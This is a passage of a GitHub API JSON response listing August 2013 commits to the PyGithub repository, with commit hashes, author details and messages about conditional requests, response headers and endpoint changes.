mechanism","tree":{"sha":"6cc4f7080010a73043a4d743a488b207f7117f42","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/6cc4f7080010a73043a4d743a488b207f7117f42"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/1d18ea75cce3ca6aeff03d0343e65b2f13b97f80","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/1d18ea75cce3ca6aeff03d0343e65b2f13b97f80","html_url":"https://github.com/jacquev6/PyGithub/commit/1d18ea75cce3ca6aeff03d0343e65b2f13b97f80","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/1d18ea75cce3ca6aeff03d0343e65b2f13b97f80/comments","author":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"committer":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"parents":[{"sha":"912bec79d2dd2479e5e32118c66ee9a647b46332","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/912bec79d2dd2479e5e32118c66ee9a647b46332","html_url":"https://github.com/jacquev6/PyGithub/commit/912bec79d2dd2479e5e32118c66ee9a647b46332"}]},{"sha":"e06257d06017b72bb57b15b043e6f16d4b6eb568","commit":{"author":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T12:58:29Z"},"committer":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T12:58:29Z"},"message":"Enable debug in TestCase","tree":{"sha":"c99afd32d144d223b8dea8dc3d1bc612a5e7b440","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/c99afd32d144d223b8dea8dc3d1bc612a5e7b440"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/e06257d06017b72bb57b15b043e6f16d4b6eb568","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/e06257d06017b72bb57b15b043e6f16d4b6eb568","html_url":"https://github.com/jacquev6/PyGithub/commit/e06257d06017b72bb57b15b043e6f16d4b6eb568","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/e06257d06017b72bb57b15b043e6f16d4b6eb568/comments","author":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"committer":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"parents":[{"sha":"1d18ea75cce3ca6aeff03d0343e65b2f13b97f80","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/1d18ea75cce3ca6aeff03d0343e65b2f13b97f80","html_url":"https://github.com/jacquev6/PyGithub/commit/1d18ea75cce3ca6aeff03d0343e65b2f13b97f80"}]},{"sha":"aa3025271cd918883b31a42fb7b4ce03027b805c","commit":{"author":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T13:11:12Z"},"committer":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T13:11:12Z"},"message":"Assert response headers","tree":{"sha":"9e5ec5a1f82ccfe07e2abeb586b7d39b98392df2","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/9e5ec5a1f82ccfe07e2abeb586b7d39b98392df2"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/aa3025271cd918883b31a42fb7b4ce03027b805c","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/aa3025271cd918883b31a42fb7b4ce03027b805c","html_url":"https://github.com/jacquev6/PyGithub/commit/aa3025271cd918883b31a42fb7b4ce03027b805c","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/aa3025271cd918883b31a42fb7b4ce03027b805c/comments","author":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"committer":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"parents":[{"sha":"e06257d06017b72bb57b15b043e6f16d4b6eb568","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/e06257d06017b72bb57b15b043e6f16d4b6eb568","html_url":"https://github.com/jacquev6/PyGithub/commit/e06257d06017b72bb57b15b043e6f16d4b6eb568"}]},{"sha":"b71329e560795a4df84cb419178ef660824f4c0d","commit":{"author":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T14:25:20Z"},"committer":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T14:25:20Z"},"message":"Implement data persistence","tree":{"sha":"e617e5b89efd45b9839d8e7f61619f00974367bb","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/e617e5b89efd45b9839d8e7f61619f00974367bb"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/b71329e560795a4df84cb419178ef660824f4c0d","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/b71329e560795a4df84cb419178ef660824f4c0d","html_url":"https://github.com/jacquev6/PyGithub/commit/b71329e560795a4df84cb419178ef660824f4c0d","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/b71329e560795a4df84cb419178ef660824f4c0d/comments","author":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"committer":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"parents":[{"sha":"aa3025271cd918883b31a42fb7b4ce03027b805c","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/aa3025271cd918883b31a42fb7b4ce03027b805c","html_url":"https://github.com/jacquev6/PyGithub/commit/aa3025271cd918883b31a42fb7b4ce03027b805c"}]},{"sha":"bd7abb58772ae1a61fd7eb44308a3a2f60432ad6","commit":{"author":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T15:01:40Z"},"committer":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T15:01:40Z"},"message":"Add update() method","tree":{"sha":"790ed722bb219aeb47c13f073a41ccb4e67a0ae0","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/790ed722bb219aeb47c13f073a41ccb4e67a0ae0"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/bd7abb58772ae1a61fd7eb44308a3a2f60432ad6","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/bd7abb58772ae1a61fd7eb44308a3a2f60432ad6","html_url":"https://github.com/jacquev6/PyGithub/commit/bd7abb58772ae1a61fd7eb44308a3a2f60432ad6","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/bd7abb58772ae1a61fd7eb44308a3a2f60432ad6/comments","author":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"committer":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"parents":[{"sha":"b71329e560795a4df84cb419178ef660824f4c0d","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/b71329e560795a4df84cb419178ef660824f4c0d","html_url":"https://github.com/jacquev6/PyGithub/commit/b71329e560795a4df84cb419178ef660824f4c0d"}]},{"sha":"1e9ec2df089973db73aaf99b4ef147efd4614e7c","commit":{"author":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T15:04:07Z"},"committer":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T15:04:07Z"},"message":"Add NotModifiedException class","tree":{"sha":"68bf8de0788f5e0a6675d07bceaeb114183315ba","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/68bf8de0788f5e0a6675d07bceaeb114183315ba"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/1e9ec2df089973db73aaf99b4ef147efd4614e7c","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/1e9ec2df089973db73aaf99b4ef147efd4614e7c","html_url":"https://github.com/jacquev6/PyGithub/commit/1e9ec2df089973db73aaf99b4ef147efd4614e7c","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/1e9ec2df089973db73aaf99b4ef147efd4614e7c/comments","author":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"committer":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"parents":[{"sha":"bd7abb58772ae1a61fd7eb44308a3a2f60432ad6","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/bd7abb58772ae1a61fd7eb44308a3a2f60432ad6","html_url":"https://github.com/jacquev6/PyGithub/commit/bd7abb58772ae1a61fd7eb44308a3a2f60432ad6"}]},{"sha":"6fd05baf6bea732dd846e08c40891c28060e7c64","commit":{"author":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T15:09:30Z"},"committer":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T15:09:30Z"},"message":"Handle response code 304","tree":{"sha":"8601556063c365eb7c636a3459eca81b5e717e21","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/8601556063c365eb7c636a3459eca81b5e717e21"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/6fd05baf6bea732dd846e08c40891c28060e7c64","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/6fd05baf6bea732dd846e08c40891c28060e7c64","html_url":"https://github.com/jacquev6/PyGithub/commit/6fd05baf6bea732dd846e08c40891c28060e7c64","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/6fd05baf6bea732dd846e08c40891c28060e7c64/comments","author":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"committer":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"parents":[{"sha":"1e9ec2df089973db73aaf99b4ef147efd4614e7c","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/1e9ec2df089973db73aaf99b4ef147efd4614e7c","html_url":"https://github.com/jacquev6/PyGithub/commit/1e9ec2df089973db73aaf99b4ef147efd4614e7c"}]},{"sha":"5b09f6c82191601cad92076ad4761fe927c511ed","commit":{"author":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T15:17:59Z"},"committer":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T15:17:59Z"},"message":"Implement conditional request","tree":{"sha":"d6c3d2b807635ecd9a9129b1a99d0e2f6758d440","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/d6c3d2b807635ecd9a9129b1a99d0e2f6758d440"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/5b09f6c82191601cad92076ad4761fe927c511ed","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/5b09f6c82191601cad92076ad4761fe927c511ed","html_url":"https://github.com/jacquev6/PyGithub/commit/5b09f6c82191601cad92076ad4761fe927c511ed","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/5b09f6c82191601cad92076ad4761fe927c511ed/comments","author":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"committer":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"parents":[{"sha":"6fd05baf6bea732dd846e08c40891c28060e7c64","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/6fd05baf6bea732dd846e08c40891c28060e7c64","html_url":"https://github.com/jacquev6/PyGithub/commit/6fd05baf6bea732dd846e08c40891c28060e7c64"}]},{"sha":"1955f7b39d4aeef19356a8269e6430537fcc3006","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-08-21T16:40:21Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-08-21T20:24:32Z"},"message":"Use POST /gists/:id/forks instead of POST /gists/:id/fork","tree":{"sha":"96255698cf321052b8d1990af1b282e7e7d9b094","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/96255698cf321052b8d1990af1b282e7e7d9b094"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/1955f7b39d4aeef19356a8269e6430537fcc3006","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/1955f7b39d4aeef19356a8269e6430537fcc3006","html_url":"https://github.com/jacquev6/PyGithub/commit/1955f7b39d4aeef19356a8269e6430537fcc3006","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/1955f7b39d4aeef19356a8269e6430537fcc3006/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"ed781f8b1b96e1d2a342d36ca53114ea28862fa8","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ed781f8b1b96e1d2a342d36ca53114ea28862fa8","html_url":"https://github.com/jacquev6/PyGithub/commit/ed781f8b1b96e1d2a342d36ca53114ea28862fa8"}]},{"sha":"0f369ba218414beb8d782904b1f09d4711c82cb7","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-08-21T16:51:09Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-08-21T20:25:44Z"},"message":"Use POST /repos/:owner/:repo/hooks/:id/tests instead of POST /repos/:owner/:repo/hooks/:id/test","tree":{"sha":"9df3a12c5a595613c179195787593cd18f50df60","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/9df3a12c5a595613c179195787593cd18f50df60"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/0f369ba218414beb8d782904b1f09d4711c82cb7","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/0f369ba218414beb8d782904b1f09d4711c82cb7","html_url":"https://github.com/jacquev6/PyGithub/commit/0f369ba218414beb8d782904b1f09d4711c82cb7","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/0f369ba218414beb8d782904b1f09d4711c82cb7/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"1955f7b39d4aeef19356a8269e6430537fcc3006","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/1955f7b39d4aeef19356a8269e6430537fcc3006","html_url":"https://github.com/jacquev6/PyGithub/commit/1955f7b39d4aeef19356a8269e6430537fcc3006"}]},{"sha":"e384a52971a8452b9c8eb32ed862e88cd828ee8e","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-08-21T19:43:08Z"},"committer":{"name":"Vincent 